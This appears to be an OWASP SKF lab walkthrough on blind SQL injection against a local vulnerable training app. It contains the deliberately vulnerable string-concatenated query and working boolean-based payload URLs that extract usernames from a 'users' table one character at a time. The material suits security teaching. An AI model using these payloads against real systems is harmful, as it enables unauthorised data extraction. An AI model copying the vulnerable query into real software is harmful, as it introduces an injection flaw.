$ sudo docker pull blabla1337/owasp-skf-lab:sqli-blind
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:sqli-blind
First, make sure python3 and pip are installed on your host machine. After installation, we go to the folder of the lab we want to practise "i.e /skf-labs/XSS/, /skf-labs/jwt-secret/ " and run the following commands:
$ pip3 install -r requirements.txt
$ python3 <labname>
The first step is to identify parameters which could be potentially used in an SQL query to communicate with the underlying database. In this example we find that the "/home" method grabs data by pageID and displays the content.
Now let's see if we can create an error by injecting a single quote
However, it's still not possile we can't see this as the application shows a 404 Error page.
Now we need to inject logic operators to check if the application is vulnerable to SQL Injection.
First, we inject a logical operator which is true (or 1=1). This should result in the application run as intended without errors.
http://localhost:5000/home/1 OR 1=1
After that we inject a logical operator which is false (and 1=2). This should result in the application returning an error.
http://localhost:5000/home/1 AND 1=2--
By doing so we are sure the application has a SQL Injection vulnerability.
This is due to the fact that the user supplied input is being directly concatenated into the SQL query.
db.execute('SELECT pageId, title, content FROM pages WHERE pageId='+pageId)
Now that we know that the application is vulnerable for SQL injections we are going to use this vulnerability to read sensitive information from the database. This process could be automated with tools such as SQLMAP. However, for this example let's try to exploit the SQL injection manually.
We need to determine which conditions are TRUE and FALSE for the application. By trial and error it's possible to determine the pageIDs 1,2 and 3 are valid, whereas 4 is not.
Now, we need to inject a IF condition, returning 1 for the TRUE cases and 4 for the FALSE ones.
http://localhost:5000/home/(select case when 1=1 then 1 else 4 end)
Next step is to add more logic to our injection and starting to retrieve information from data tables. Remember we will never view the data we are retrieving from the DB in the page, but we will do it by logicaly testing if the data exists.
Let's check if the table users exists.
http://localhost:5000/home/(select case when tbl_name='users' then 1 else 4 end from sqlite_master where type='table')
Good news! As we didn't see an error, it means the table users exists.
By testing different table names, we will receive an 404 error, indicating the table does not exist.
From the user table is possible to see that the table contains the columns UserId , UserName and Password
Let's try to extract a valid user. Instead of having a dictionary of possible users to guess, we can check if the first letter of the first user contains the letter a.
http://localhost:5000/home/(select case when substr(UserName,1,1)='a' then 1 else 4 end from users limit 0,1)
The error indicates it's not the case. Let's try with the letter A. Remember, case matters.
http://localhost:5000/home/(select case when substr(UserName,1,1)='A' then 1 else 4 end from users limit 0,1)
Yes, it matches!
As initial guess, Admin could be a possible user. So, let's test this theory:
http://localhost:5000/home/(select case when substr(UserName,2,1)='d' then 1 else 4 end from users limit 0,1)
http://localhost:5000/home/(select case when substr(UserName,3,1)='m' then 1 else 4 end from users limit 0,1)
http://localhost:5000/home/(select case when substr(UserName,4,1)='i' then 1 else 4 end from users limit 0,1)
http://localhost:5000/home/(select case when substr(UserName,5,1)='n' then 1 else 4 end from users limit 0,1)
We made it! None of the requests above returned 404 Error, so this indicates Admin is a valid value.
Now that you know the logic, you can extract all UserNames stored within this table.
Why not dumping the whole database?
Don't forget to play with Limit numbers to fetch more records.
Please refer to the OWASP testing guide for a full complete description about SQL injection with all the edge cases over different platforms!